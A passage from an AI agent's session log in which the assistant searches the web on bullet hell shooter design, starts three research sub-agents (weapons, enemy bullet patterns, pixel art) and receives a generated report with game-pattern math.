following parameters.\n\n> ・Firing position: Enemy center, screen edge, multiple turrets, etc. ・Firing angle: Fixed, rotating, toward the player, random ・Bullet count: Determines density ・Firing interval: Determines rhythm ・Bullet speed: Determines difficulty and impression ・Acceleration: Creates pacing and curves ・Angular velocity: Creates spirals and curving bullets ・Lifespan: Timing for when bullets disappear ・Split condition: Time, distance, position, etc. ・Color/Size: Determines visibility and beauty\n\nAmong these, the ones that are easiest to see the effect of when first trying them out are firing angle, bullet count, bullet speed, and firing interval.\n\n## 5. Easy-to-use combinations [...] ### 2-6. Grids\n\nBullet patterns where bullets are arranged in a regular grid.\n\nAligning them vertically and horizontally makes for a very readable bullet pattern. Shifting them diagonally creates a diamond or crystal-like appearance, resulting in puzzle-like evasion.\n\n・Features\n\n> ・Strong regularity \n> ・Gaps are easy to read \n> ・Increasing density tends to make it harder \n> ・Produces geometric beauty\n\nWhile grid-type patterns are less likely to feel unfair, they can also easily become monotonous. Adding speed differences, screen scrolling, or partial gaps can give them more character.\n\n### 2-7. Floral Patterns\n\nBullet patterns where bullets are arranged symmetrically to create petal-like designs.", "score": 0.62303346, "published_date": ""}, {"index": 6, "title": "Top game assets tagged Bullet Hell and Pixel Art - itch.io", "url": "https://itch.io/game-assets/tag-bullet-hell/tag-pixel-art", "content": "Explore game assets tagged Bullet Hell and Pixel Art on itch.io · Upload your game assets to itch.io to have them show up here. Subscribe for game recommendations, clips, and more ... This is a top down pixel art asset pack, containing different floor tiles, wall tiles, decorations, objects and chests ... Pixel-art Top-down pack. Great for Bullethell-shooters! ... This weapon bundle contains 100+ unique weapons in 4 different colours.", "score": 0.5760895, "published_date": ""}, {"index": 7, "title": "Medium", "url": "https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c", "content": "Sign up\n\nSign in\n\nSign up\n\nSign in\n\nUnknown user\nTed Lim\n\n## Ted Lim\n\n# Day 49 | Bullet Hell Pattern: 2D Space Shooter Series\n\nTed Lim\n\n--\n\nListen\n\nShare\n\nAfter implementing our Object Pooler, we’re now going to put together the enemy’s shooting pattern.\n\n## The Fan\n\nTo make this pattern, we’ll cover a bit of math. If we look closely at the pattern’s origin point, we can see it starts as a small semi-circle. This means we’re looking for a kind of formula to place objects in a semi-circle.\n\nWe’ll use Sin() and Cos() to create the semi-circle shape. Assume 10 bullets make up the semi-circle, and we want to create the rightmost bullet first. We can imagine a unit circle like this: [...] The bottom half of the unit circle can represent our semi-circle pattern. We want to create the bullet at coordinate (1,0) first. This will happen at a 0-degree angle. To make X coordinate 1 and the Y coordinate 0 at that angle, we must give the X component the Cos() function and the Y component the Sin() function since Cos(0) is 1 and Sin(0) is 0. Additionally, we will have to convert the degrees to radians (PI/180).\n\nThis will be how we place each bullet. Next, we determine the direction of the bullet and normalize the direction vector. [...] Now that we have the placement and direction, we can use the Object Pooler to create the bullet and set its direction as described in my previous article. Then, depending on how many bullets we want to put into our semi-circle, we increase the angle by some interval and set another bullet’s position and direction until our semi-circle is complete. We then use a Coroutine to space out the interval at which the semi-circle pattern is fired.\n\n## Other Shooting Pattern Methods\n\nThis is 1 way to create a shooting pattern for a boss. There are less math-intensive ways of creating cool patterns too. For example, you could create an empty game object, spread out 3 child objects from which bullets spawn, and then slowly rotate the parent object to create a spiral pattern of bullets.", "score": 0.56258565, "published_date": ""}, {"index": 8, "title": "Bullet Hell - Week 25 - Boss Design", "url": "https://www.youtube.com/watch?v=zEPgFaIpa6o", "content": "# Bullet Hell - Week 25 - Boss Design\n## DragoniteSpam\n12500 subscribers\n17 likes\n\n### Description\n718 views\nPosted: 24 Aug 2022\nHere are the basic bullet patterns of boss enemies! They'll get a lot more polish later.\n\nRepository:\n\nEach week is a \"release.\"\n\nBullet Hell playlist:\n\nGameMaker 3D playlist:\n\nGameMaker Studio 2 playlist:\n\n#GameMaker\n#GameMakerBulletHell\n#gamedev\n- - - - -\nI've now made that Patreon:\n\nThat promised social media link spam.\n\nTransition / idle music is by my old friend Kamex:\n\nRate, comment, subscribe, watch more, enjoy! [...] and spawn more bullets as they go and i feel like for that i would want a separate video because that might take a little while um so i think i will just leave a comment for future me uh that is not a pattern that exists elsewhere in the game and i will have to uh i have to do some player testing to figure out like if that would feel like the boss is cheating because they're using a bullet type that we haven't seen so far or i could just implement that bullet type on enemies earlier in the game so that the player has a has time to get used to it or something like that but i will leave a comment for that there in fact you know what um i put that down in like stage three and stage four can be uh hmm what other options are available to me we have templates for uh bullets that chase you uh [...] to have like homing bullets going after you like in a swarm but um maybe we'll maybe we'll save that for like stage three um or the last stage because that'll probably be harder uh spirals are nice like spirals are um visually appealing i guess if you wanted to like extend the fan shape we could actually just do a spiral um instead of doing uh like the radial pattern rather so shot counts as 24 because instead of 120 degrees we're dealing with 360 degrees i goes from zero to 360 i plus equals uh 360 divided by shot count instead of this expression um and then we'll see how that feels that should be i feel like that should be appropriate increment appropriately incrementally harder but at the same time um it could just feel like you're rat setting up the damage numbers um which isn't", "score": 0.5524679, "published_date": ""}, {"index": 9, "title": "Top game assets tagged Bullet Hell - itch.io", "url": "https://itch.io/game-assets/tag-bullet-hell", "content": "16Bit Bullets, Explosions & Misc Asset Pack - Pixel Art // Shooter/Shmup // Classic & Bullet Hell Style · Free Player Bullets!! Paid pack includes Player Ship plus explosions ... PNG | HIGH QUALITY! ... Pixel-art Top-down pack. Great for Bullethell-shooters! ... FoX71's shot sheet for all purposes! a projectile sprite sheet that you can use if you want ... This is a top down pixel art asset pack, containing different floor tiles, wall tiles, decorations, objects and chests ... This weapon bundle contains 37 high quality weapons.", "score": 0.5455042, "published_date": ""}, {"index": 10, "title": "Pixel art blog — SLYNYRD", "url": "https://www.slynyrd.com/blog", "content": "If the game is a bullet-hell with high bullet density, the player hit box should be very small. If bullet density is low, the player hit box can be made a bit larger, and enemy bullet speeds can be quite fast to maintain a good challenge. Whatever the gameplay style, I would avoid making the player hit box so large it extends beyond the actual pixels of the sprite. That just never feels like a fair challenge. \n \nNote the difference between the player damage, and collection hit boxes. If the game has physical pickups, you want these to be easy to make contact with, so a separate, much larger hit box is used for this. [...] Defining the collision bounds is a crucial aspect to any game with real-time action based gameplay, which can make or break the entire feel of the game if not balanced carefully. In shmups, the particular style of gameplay should influence the balancing of hit boxes. Generally, the hit box for the player is a small circle placed center mass of the sprite, which should always stay in the same place throughout all animation frames. Player bullets, and enemy sprites have generous bounds to ensure your aim always feels solid, and fair. Enemy bullets have small circle hit boxes in the center of the mass. Combined with the small player hitbox this provides a buffer for very tight smooth dodging through dense bullets patterns, and that’s where the fun is at. [...] ## Options\n\nAnother element that is often integral to the player ship in shmups is options. These come in the form of smaller crafts, pods, creatures, etc, which hover around your ship and offer extra fire, or in some cases, defensive tech.\n\nGameplay mechanics aside, options also add visual distinction, and screen presence. Usually your eyes are focused on reading incoming bullet paths, and you only briefly look directly at your ship for intense micro-dodging. I think it’s under appreciated how much screen presence helps you feel your ship position while reading patterns. Besides the sprite itself, options, and your outgoing attacks heavily contribute to screen presence.\n\n## Enemy Units", "score": 0.5383771, "published_date": ""}], "total_results": 10}}, "tool_call_id": "web_search_1", "name": "web_search"}, {"role": "assistant", "reasoning_content": "浅层搜索已经获得了一些有价值的信息。让我分析一下关键发现:\n\n1. 经典弹幕射击游戏:\n - 怒首领蜂(DoDonPachi)- 弹幕射击的鼻祖\n - Enter the Gungeon - 像素风格弹幕射击Roguelike\n - Cryptark - 太空题材横版射击\n - 东方Project系列 - 最著名的弹幕射击系列之一\n\n2. 设计参考资源:\n - Reddit r/shmupdev 的弹幕设计101\n - npaka的文章:15种美丽弹幕模式总结\n - itch.io上有大量免费/付费的像素弹幕资源\n - SLYNYRD的像素艺术博客\n\n3. 关键设计要点:\n - 敌方子弹应该始终绘制在其他游戏对象之上\n - 子弹大小和颜色设计很重要\n - 玩家hitbox应该很小(尤其是在高密度弹幕中)\n - 弹幕模式通常基于数学排列\n\n现在我需要更深入地调研几个方面。根据用户的需求,我应该分配子智能体来调研:\n\n1. **经典弹幕射击游戏的武器系统** - 收集知名STG的武器类型、升级系统、射击模式\n2. **敌方弹幕模式设计** - 收集经典弹幕模式、Boss战设计、弹幕排列方式\n3. **像素风格美术设计参考** - 子弹、飞船、特效的像素美术风格\n\n让我先提取一些关键网页获取更详细的信息,然后再决定子智能体的任务分配。\n\n不过考虑到当前是计划模式,我应该先制定调研计划,然后用子智能体去执行调研。\n\n让我创建几个子智能体并行调研:\n- 子智能体1:调研经典弹幕射击游戏的武器系统设计(东方Project、怒首领蜂、雷电等)\n- 子智能体2:调研敌方弹幕模式和Boss战设计\n- 子智能体3:调研像素美术风格参考(子弹、飞船、特效的像素化表现)\n\n但按照sub-agent-guide,我需要先自己浅层搜索,我已经做了。现在我应该创建子智能体。\n\n不过等等,当前是计划模式,子智能体是否可以运行?计划模式说\"只制定计划、与用户讨论方案,不执行任何修改\"。子智能体调研属于信息收集,应该可以执行。但计划模式也提到\"禁止执行任何修改\"。子智能体调研不会修改项目文件,只是生成调研报告,这应该是允许的。\n\n让我创建子智能体任务。", "content": "浅层搜索已完成!我找到了几个非常有价值的方向:\n\n**经典游戏参考:**\n- **东方Project系列** - 最经典的弹幕射击,以华丽复杂的弹幕模式闻名\n- **怒首领蜂(DoDonPachi)** - 弹幕射击的鼻祖\n- **Enter the Gungeon** - 现代像素风弹幕Roguelike代表作\n- **Cryptark** - 太空题材像素横版射击\n\n**关键设计资源:**\n- Reddit r/shmupdev 的「弹幕设计101」\n- npaka 的「15种美丽弹幕模式总结」\n- itch.io 上大量免费像素弹幕素材\n- SLYNYRD 像素艺术博客\n\n现在我来创建 **3个子智能体并行深入调研**,分别聚焦武器系统、弹幕模式和像素美术风格。", "timestamp": "2026-08-23T12:29:46.664134", "message_id": "msg_4a41eef02f6b4967a92cd20dfdfe99ee", "metadata": {"model_key": "kimi-k2.6"}, "tool_calls": [{"id": "create_sub_agent_2", "index": 0, "type": "function", "function": {"name": "create_sub_agent", "arguments": "{\"intent\": \"调研STG武器系统设计\", \"agent_id\": 1, \"summary\": \"调研经典弹幕射击游戏武器系统\", \"task\": \"深入调研经典弹幕射击游戏(STG)的武器系统设计,重点关注以下内容:\\n\\n1. **玩家武器类型分类**:\\n - 散弹(Spread Shot)- 如东方Project的幽幽子、雷电系列\\n - 集中射击(Focus Shot)- 高伤害但范围小\\n - 激光/光束武器 - 如怒首领蜂的激光模式\\n - 追踪弹/制导武器\\n - 近战/环绕武器\\n - 蓄力射击(Charge Shot)\\n - 炸弹/清屏技能(Bomb/Spell Card)\\n\\n2. **武器升级系统**:\\n - 道具拾取升级(P道具)\\n - 多级别火力变化\\n - 武器切换机制\\n - 东方Project的Power系统\\n - 怒首领蜂的强化系统\\n\\n3. **像素风格表现**:\\n - 子弹的像素美术设计(大小、形状、颜色)\\n - 射击特效(muzzle flash、尾迹)\\n - 不同武器类型的视觉区分度\\n - 屏幕内大量子弹的辨识度设计\\n\\n4. **搜索关键词建议**:东方Project 武器系统、DoDonPachi weapon system、STG shot types、像素射击游戏武器设计、Touhou shot types comparison\\n\\n请通过网络搜索收集信息,整理成结构化的调研报告,保存到 deliverables_dir 下的 weapon_research.md 文件中。报告需要包含具体游戏例子、武器类型的视觉描述、以及像素风格下的设计建议。\", \"deliverables_dir\": \"research/weapon_system\", \"thinking_mode\": \"fast\", \"run_in_background\": true, \"timeout_seconds\": 900}"}}, {"id": "create_sub_agent_3", "index": 1, "type": "function", "function": {"name": "create_sub_agent", "arguments": "{\"intent\": \"调研敌方弹幕模式设计\", \"agent_id\": 2, \"summary\": \"调研弹幕射击游戏敌方弹幕模式\", \"task\": \"深入调研弹幕射击游戏(STG/Bullet Hell)中敌方的弹幕(bullet pattern)设计,重点关注以下内容:\\n\\n1. **经典弹幕模式分类**:\\n - 环形弹幕(Ring/ Circle burst)- 从中心向四周放射\\n - 螺旋弹幕(Spiral)- 旋转放射\\n - 扇形弹幕(Fan/Wedge)- 扇形区域发射\\n - 直线弹幕(Line/Stream)- 密集直线\\n - 随机散射(Random spread)\\n - 追踪弹幕(Homing/Aimed)- 瞄准玩家\\n - 反弹弹幕(Bounce/Ricochet)\\n - 滞留弹幕(Static/Lingering)- 停留在场地上\\n - 组合弹幕(Compound patterns)- 多种模式组合\\n\\n2. **Boss战弹幕设计**:\\n - 阶段转换(Phase/Spell Card)\\n - 弹幕密度控制\\n - 安全路径设计(Safe zones)\\n - 东方Project的符卡系统(Spell Card)\\n - 时间限制与弹幕压力\\n\\n3. **数学原理与实现**:\\n - 角度、速度、加速度参数\\n - 弹幕排列的数学公式\\n - 速度变化(加速、减速弹幕)\\n - 曲线弹幕(贝塞尔曲线等)\\n\\n4. **像素风格下的弹幕视觉设计**:\\n - 子弹形状:圆形、菱形、星形、箭头、水滴形等\\n - 颜色编码(不同颜色代表不同属性/速度)\\n - 子弹大小与可躲避性的关系\\n - 发光/粒子效果在像素风格中的处理\\n - 弹幕层级的视觉优先级\\n\\n5. **搜索关键词建议**:bullet hell pattern design、东方Project 符卡、danmaku patterns、STG enemy bullet types、pixel art bullet design、bullet hell boss patterns\\n\\n请通过网络搜索收集信息,整理成结构化的调研报告,保存到 deliverables_dir 下的 bullet_pattern_research.md 文件中。报告需要包含每种模式的名称、视觉描述、经典游戏例子、以及像素风格下的设计建议。\", \"deliverables_dir\": \"research/bullet_patterns\", \"thinking_mode\": \"fast\", \"run_in_background\": true, \"timeout_seconds\": 900}"}}, {"id": "create_sub_agent_4", "index": 2, "type": "function", "function": {"name": "create_sub_agent", "arguments": "{\"intent\": \"调研像素美术风格参考\", \"agent_id\": 3, \"summary\": \"调研像素风格弹幕游戏美术设计\", \"task\": \"深入调研像素风格弹幕射击游戏中的美术设计,重点关注以下内容:\\n\\n1. **玩家飞船/角色设计**:\\n - 经典像素STG的自机设计(大小、配色、识别度)\\n - 东方Project系列的角色精灵图风格\\n - 像素飞船的设计要点\\n - 判定框(hitbox)的视觉提示设计\\n\\n2. **敌方单位设计**:\\n - 杂兵(Enemy grunts)的像素设计\\n - Boss的体型与细节层次\\n - 敌方攻击前的视觉预警(如颜色变化、蓄力动画)\\n\\n3. **子弹/弹幕的像素美术**:\\n - 常见像素子弹样式(8x8, 16x16等尺寸)\\n - 子弹颜色与类型的对应关系\\n - 子弹的动画帧设计(旋转、闪烁、脉动)\\n - 大量弹幕同屏时的视觉清晰度处理\\n\\n4. **特效与UI**:\\n - 爆炸特效的像素动画\\n - 拾取道具的视觉效果\\n - 得分/连击的视觉反馈\\n - 血条、Bomb数量等HUD设计\\n\\n5. **参考资源搜索**:\\n - itch.io 上的免费像素弹幕素材\\n - 经典STG的精灵图分析\\n - 像素艺术风格指南(SLYNYRD等博客)\\n - 搜索关键词:pixel art shmup sprites、bullet hell pixel art assets、STG sprite design、东方Project 像素风格、pixel art explosion animation\\n\\n请通过网络搜索收集信息,整理成结构化的调研报告,保存到 deliverables_dir 下的 pixel_art_research.md 文件中。报告需要包含具体的美术参考建议、尺寸规范、颜色建议、以及资源获取途径。\", \"deliverables_dir\": \"research/pixel_art_style\", \"thinking_mode\": \"fast\", \"run_in_background\": true, \"timeout_seconds\": 900}"}}]}, {"role": "tool", "content": "子智能体 #1 已创建(task_id=sub_1_1787459389_fd8265,状态 running,交付目录: /Users/demo/starraid/research/weapon_system)。", "timestamp": "2026-08-23T12:29:50.673495", "message_id": "msg_b0ac29a15e99442fb82c337dd62ab90b", "metadata": {"tool_payload": {"success": true, "task_id": "sub_1_1787459389_fd8265", "agent_id": 1, "status": "running", "message": "子智能体1 已创建,任务ID: sub_1_1787459389_fd8265", "deliverables_dir": "/Users/demo/starraid/research/weapon_system", "run_in_background": true, "display_name": null}}, "tool_call_id": "create_sub_agent_2", "name": "create_sub_agent"}, {"role": "tool", "content": "子智能体 #2 已创建(task_id=sub_2_1787459391_a9b055,状态 running,交付目录: /Users/demo/starraid/research/bullet_patterns)。", "timestamp": "2026-08-23T12:29:52.707902", "message_id": "msg_ebde0433c9db4b8c9a1ebbbfecb7d1c0", "metadata": {"tool_payload": {"success": true, "task_id": "sub_2_1787459391_a9b055", "agent_id": 2, "status": "running", "message": "子智能体2 已创建,任务ID: sub_2_1787459391_a9b055", "deliverables_dir": "/Users/demo/starraid/research/bullet_patterns", "run_in_background": true, "display_name": null}}, "tool_call_id": "create_sub_agent_3", "name": "create_sub_agent"}, {"role": "tool", "content": "子智能体 #3 已创建(task_id=sub_3_1787459393_3da5a5,状态 running,交付目录: /Users/demo/starraid/research/pixel_art_style)。", "timestamp": "2026-08-23T12:29:54.743803", "message_id": "msg_dd2f471b7b26481a817ce7fa6cda4d1e", "metadata": {"tool_payload": {"success": true, "task_id": "sub_3_1787459393_3da5a5", "agent_id": 3, "status": "running", "message": "子智能体3 已创建,任务ID: sub_3_1787459393_3da5a5", "deliverables_dir": "/Users/demo/starraid/research/pixel_art_style", "run_in_background": true, "display_name": null}}, "tool_call_id": "create_sub_agent_4", "name": "create_sub_agent"}, {"role": "assistant", "reasoning_content": "3个子智能体都已经成功创建并在后台运行。根据sub-agent-guide,在后台模式下我应该告诉用户已启动的任务,然后等待系统通知。由于这3个任务都是独立的调研任务,且我目前没有其他工作要做,我应该停止输出等待系统通知。\n\n但首先,让我向用户说明当前状态。", "content": "我已经启动了 **3个子智能体** 在后台并行调研,分别覆盖:\n\n| 子智能体 | 调研方向 | 交付文件 |\n|---------|---------|---------|\n| #1 | **武器系统设计** | `research/weapon_system/weapon_research.md` |\n| #2 | **敌方弹幕模式设计** | `research/bullet_patterns/bullet_pattern_research.md` |\n| #3 | **像素美术风格参考** | `research/pixel_art_style/pixel_art_research.md` |\n\n预计每个调研需要 **10-15分钟**。系统会在每个子智能体完成后自动通知我,届时我会立即整合所有调研结果,为你生成一份完整的**像素风格弹幕射击游戏美术设计参考报告**。\n\n请稍等,完成后我会第一时间汇报!🎮", "timestamp": "2026-08-23T12:30:02.862906", "message_id": "msg_7caf918152cd4540a3eaee7de8c80171", "metadata": {"model_key": "kimi-k2.6"}}, {"role": "user", "content": "[系统通知|sub_agent]\n✅ 子智能体3 任务摘要:调研像素风格弹幕游戏美术设计 已完成。\n\n调用了12次\n阅读了0次文件\n写入了1次文件\n编辑了0次文件\n搜索了0次内容\n查看了17个网页\n运行了2个指令\n\n运行了154秒\n\n已完成像素弹幕游戏美术设计调研。通过 10 余轮网络检索与 4 篇关键原文提取(SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、Touhou hitbox 社区资料、void-dancer 弹幕素材页),产出结构化调研报告 pixel_art_research.md(25KB/258 行)至 /Users/demo/starraid/research/pixel_art_style/。报告覆盖:①自机设计(分辨率基准、滚转动画、东方精灵风格、hitbox 视觉提示方案);②敌方设计(杂兵/Boss 尺寸梯度、蓄力/变色/激光预警机制);③子弹美术(8 色体系、尺寸表、旋转/闪烁/脉动动画、价值分层/描边/深度排序等清晰度规则);④特效与 UI(爆炸动画流程、道具 idle 动画、得分连击反馈、HUD 规范);⑤itch.io/OpenGameArt 免费素材链接清单、教程博客与搜索关键词;⑥可直接执行的美术规范落地建议。报告末尾附信息来源可信度分级说明。\n\n交付目录:/Users/demo/starraid/research/pixel_art_style", "timestamp": "2026-08-23T12:32:29.530273", "message_id": "msg_8f8bac02d7064dee8853ad07e63ed300", "metadata": {"message_source": "sub_agent", "visibility": "compact", "starts_work": false, "is_auto_generated": true, "auto_message_type": "completion_notice", "edit_summary": {"version": 1, "updated_at": "2026-08-23T12:33:39.012859", "files": [{"path": "research/bullet_patterns/bullet_pattern_research.md", "baseline": null, "baseline_truncated": false, "created_at": "2026-08-23T12:33:25.758647", "status": "added", "added": 437, "removed": 0, "lines": [{"type": "add", "content": "# 弹幕射击游戏(STG / Bullet Hell)敌方弹幕模式调研报告", "new_no": 1}, {"type": "add", "content": "", "new_no": 2}, {"type": "add", "content": "> **调研目的**:为像素风格的弹幕射击游戏(STG / Bullet Hell)提供敌方弹幕(bullet pattern)设计的系统性参考。", "new_no": 3}, {"type": "add", "content": "> **调研方式**:网络搜索 + 网页资料提取(来源见第 7 章)。", "new_no": 4}, {"type": "add", "content": "> **调研时间**:2026-08-23", "new_no": 5}, {"type": "add", "content": "> **交付目录**:`research/bullet_patterns/`", "new_no": 6}, {"type": "add", "content": "", "new_no": 7}, {"type": "add", "content": "---", "new_no": 8}, {"type": "add", "content": "", "new_no": 9}, {"type": "add", "content": "## 0. 摘要(TL;DR)", "new_no": 10}, {"type": "add", "content": "", "new_no": 11}, {"type": "add", "content": "- 弹幕(danmaku / 弾幕,字面义\"弹幕幕帘\",西方称 bullet hell / curtain fire)与普通 STG 的本质区别**不是子弹数量**,而是\"**整个屏幕都是弹幕的舞台**\"——大量子弹不是为了全部命中玩家,而是组成可观赏、可读、有图案(pattern)的\"幕帘\",玩家在其中寻找缝隙穿行。多数子弹在诞生之初就注定打不到玩家(Sparen's Danmaku Design Studio, Guide A2)。", "new_no": 12}, {"type": "add", "content": "- 经典弹幕模式可用\"**规律 + 微扰**\"统一描述:先排布几何图案(环形、螺旋、扇形、直线、激光、网格等),再叠加少量可控随机(角度/速度抖动),并始终**以\"设计缝隙\"为核心**,而不是\"设计密度\"。", "new_no": 13}, {"type": "add", "content": "- Boss 战的核心设计杠杆:**阶段(Phase/符卡)转换、节奏(轻/重交替与紧张-释放)、密度控制(难度曲线)、安全路径/安全点(safe zone/safespot/routing)、公平性信号(预警 telegraph)**。", "new_no": 14}, {"type": "add", "content": "- 实现上只靠 5 个基础参数即可组合出绝大多数模式:**发射角度、子弹数量、发射间隔、子弹速度、加速度(角速度)**;曲线弹幕依赖角速度转向、极坐标/参数方程(如螺旋 `r=a·t, θ=b·t`)、贝塞尔曲线或正弦扰动。", "new_no": 15}, {"type": "add", "content": "- 像素风格下,弹幕可读性(readability)压倒一切:**高饱和颜色 + 描边(尤其双层描边)+ 闪烁/呼吸动画 + 明确的子弹形状语义 + 绘制层级(敌方子弹永远最上层)**;并让判定(hitbox)远小于视觉尺寸。", "new_no": 16}, {"type": "add", "content": "", "new_no": 17}, {"type": "add", "content": "---", "new_no": 18}, {"type": "add", "content": "", "new_no": 19}, {"type": "add", "content": "## 1. 背景认知:弹幕射击与普通 STG 的区别", "new_no": 20}, {"type": "add", "content": "", "new_no": 21}, {"type": "add", "content": "| 维度 | 普通 STG | 弹幕射击(Bullet Hell) |", "new_no": 22}, {"type": "add", "content": "|---|---|---|", "new_no": 23}, {"type": "add", "content": "| 子弹目的 | 命中玩家 | 大量子弹作\"装饰 + 制造缝隙谜题\",很多子弹故意不打玩家 |", "new_no": 24}, {"type": "add", "content": "| 屏幕利用 | 子弹从上方来袭 | 全屏都是舞台,子弹可从任何方向/任何规律出现 |", "new_no": 25}, {"type": "add", "content": "| 判定 | 机体整体判定 | 微型判定点(hitbox),东方等游戏中判定远小于机绘大小 |", "new_no": 26}, {"type": "add", "content": "| 玩家速度 | 较快 | 有\"低速聚焦模式\"(focus/slow mode)用于精确微调 |", "new_no": 27}, {"type": "add", "content": "| 美学 | 战场感 | \"弹幕舞蹈\",图案本身有独立观赏价值 |", "new_no": 28}, {"type": "add", "content": "", "new_no": 29}, {"type": "add", "content": "关键概念:", "new_no": 30}, {"type": "add", "content": "", "new_no": 31}, {"type": "add", "content": "- **幕帘火(Curtain fire)**:'curtain fire'精确描述了弹幕的本质——用弹幕填满一片空间形成\"幕帘\",玩家面对的是\"图案\",而不是\"几发子弹\"(Sparen Guide A2)。", "new_no": 32}, {"type": "add", "content": "- **判定点(Hitbox)**:子弹只有碰到自机中心的微小判定点才算命中。Cave 的《虫姬后传》《怒首领蜂大复活》甚至有 1 像素判定;DoDonPachi 系列子弹判定通常只占子弹直径约 20%(来源:TimeExtension CAVE 历史长文、Shmups Wiki CAVE 词条)。", "new_no": 33}, {"type": "add", "content": "- **擦弹(Graze)**:子弹掠过判定点外围的\"擦弹判定圈\"得分,鼓励玩家贴着子弹走(Summer Engine、maribelhearn 术语表)。", "new_no": 34}, {"type": "add", "content": "- **心理过滤(Mental filtering)**:高手玩家会自动忽略大量\"注定打不中自己\"的子弹(例如环形弹幕中飞向两侧/上方的子弹),只对逼近自己的弹道做出反应——这是弹幕\"装饰性子弹\"能成立的心理学基础(Sparen Guide A2)。", "new_no": 35}, {"type": "add", "content": "", "new_no": 36}, {"type": "add", "content": "---", "new_no": 37}, {"type": "add", "content": "", "new_no": 38}, {"type": "add", "content": "## 2. 经典弹幕模式分类", "new_no": 39}, {"type": "add", "content": "", "new_no": 40}, {"type": "add", "content": "> 本节以任务要求的 9 类为主干(2.1–2.9),然后在 2.10 补充调研中发现的其它常用模式。每个模式给出:**名称 / 视觉描述 / 数学与实现要点 / 经典游戏例子 / 像素风格设计建议**。", "new_no": 41}, {"type": "add", "content": "> 注:任务要求的 9 类与社区常用分类(如 note.com 归纳的 15 种模式)并非一一对应,本报告将两类分类体系做了映射与合并。", "new_no": 42}, {"type": "add", "content": "> 经典例子部分,凡未在本轮调研资料中明确出现的,均标注为\"常识(通用认知)\",置信度说明见第 7 章。", "new_no": 43}, {"type": "add", "content": "", "new_no": 44}, {"type": "add", "content": "### 2.1 环形弹幕(Ring / Circle Burst,日语\"轮弾/円形弾\")", "new_no": 45}, {"type": "add", "content": "", "new_no": 46}, {"type": "add", "content": "- **视觉描述**:从中心点向 360° 均匀放射一圈子弹,呈涟漪/烟花/魔法阵状。变化包括:扩展环(从小半径环向外扩)、收缩环、多重同心环、旋转环、分裂环(飞到中途爆成更多子弹)。(note.com 2-8 Rings)", "new_no": 47}, {"type": "add", "content": "- **数学与实现要点**:", "new_no": 48}, {"type": "add", "content": " ```", "new_no": 49}, {"type": "add", "content": " n = 子弹数; base = 基准角", "new_no": 50}, {"type": "add", "content": " for i in 0..n-1:", "new_no": 51}, {"type": "add", "content": " angle = base + i * (360° / n)", "new_no": 52}, {"type": "add", "content": " vx = speed * cos(angle); vy = speed * sin(angle)", "new_no": 53}, {"type": "add", "content": " ```", "new_no": 54}, {"type": "add", "content": " 若每帧/每次发射让 `base` 增加固定角,环就\"旋转/缭乱\"起来。(o3de-diorama 文档:Ring 参数含 Count、Aim、Speed、Fire Rate、Spin Per Shot;Ted Lim / GameMaker 论坛同款公式)", "new_no": 55}, {"type": "add", "content": "- **经典游戏例子**:东方系列几乎所有 Boss 都有环弹(常识);琪露诺的冰符「Icicle Fall -Easy-」的冰柱环是知名的入门环弹(Sparen Guide A2 以其为例讲述固定角);环形常用作 Boss 战开场或\"轻阶段\"的通用压迫弹(note.com 入门 Boss 组合)。", "new_no": 56}, {"type": "add", "content": "- **像素风格设计建议**:环弹数量多且对称,适合用**小尺寸圆形弹**(6–8px)保证低视觉占用;用\"带圈的小玉\"(外圈描边)区分装饰环和危险环;旋转环可给子弹加 1–2 帧的旋转动画增强\"轮转感\"。", "new_no": 57}, {"type": "add", "content": "", "new_no": 58}, {"type": "add", "content": "### 2.2 螺旋弹幕(Spiral)", "new_no": 59}, {"type": "add", "content": "", "new_no": 60}, {"type": "add", "content": "- **视觉描述**:发射角连续旋转,子弹留下螺旋尾迹,像银河/风车/玫瑰。变体:单螺旋、多螺旋、顺逆时针双螺旋交叉、不同色相/速度的螺旋。(note.com 2-2 Spiral)", "new_no": 61}, {"type": "add", "content": "- **数学与实现要点**:", "new_no": 62}, {"type": "add", "content": " - 离散式:每次发射一个环,环的基准角 += 每发旋转角(Spin Per Shot),即\"每发转一点\"(o3de-diorama)。", "new_no": 63}, {"type": "add", "content": " - 参数方程(连续式):极坐标 `r = a·t`、`θ = b·t`,则 `x = cx + r·cos(θ)`,`y = cy + r·sin(θ)`(来源:Danmokou Tutorial 6 的螺旋示例 `polar(2*t, 80*t)`)。", "new_no": 64}, {"type": "add", "content": " - 替代实现:让发射器父对象缓慢旋转(Ted Lim——\"空对象 + 3 个子发射点 + 旋转父对象即可做出螺旋\")。", "new_no": 65}, {"type": "add", "content": "- **经典游戏例子**:螺旋是弹幕最经典的高性价比模式,\"低子弹数也能很华丽\"(note.com);东方各作螺旋遍地(常识),双反向螺旋常作中后期难度(YouTube Week 25 Boss 设计演示了\"顺+逆双螺旋\"Boss 阶段)。", "new_no": 66}, {"type": "add", "content": "- **像素风格设计建议**:螺旋强调\"轨迹\",适合用**细长子弹(针弹/米弹/箭弹)**来勾勒弧线;或给圆形弹加方向性贴图(箭头形)让旋转方向可读(Sparen Guide A2 说明了\"有方向性的子弹图形\"对旋转/转向弹幕的可读性价值)。", "new_no": 67}, {"type": "add", "content": "", "new_no": 68}, {"type": "add", "content": "### 2.3 扇形弹幕(Fan / Wedge)", "new_no": 69}, {"type": "add", "content": "", "new_no": 70}, {"type": "add", "content": "- **视觉描述**:在一个方向张开成扇面。窄扇高压、宽扇适合场景演出;朝玩家发射时进攻性强(\"瞄准开火\"的观感),固定方向发射则可控、适合道中演出。(note.com 2-3 Fan)", "new_no": 71}, {"type": "add", "content": "- **数学与实现要点**:", "new_no": 72}, {"type": "add", "content": " ```", "new_no": 73}, {"type": "add", "content": " n = 子弹数; spread = 扇形总张角; aim = 瞄准角", "new_no": 74}, {"type": "add", "content": " step = spread / (n - 1)", "new_no": 75}, {"type": "add", "content": " start = aim - spread / 2", "new_no": 76}, {"type": "add", "content": " for i in 0..n-1:", "new_no": 77}, {"type": "add", "content": " angle = start + i * step", "new_no": 78}, {"type": "add", "content": " ```", "new_no": 79}, {"type": "add", "content": " (来源:Unity 教程(Unity Discussions 搜索片段)与 Ted Lim 的扇面公式——\"startAngle = target - halfSpread / 2,endAngle = target + halfSpread/2,逐颗递增 step\")", "new_no": 80}, {"type": "add", "content": "- **经典游戏例子**:几乎所有 STG 的追踪射击采用\"瞄准玩家的扇\"(aimed 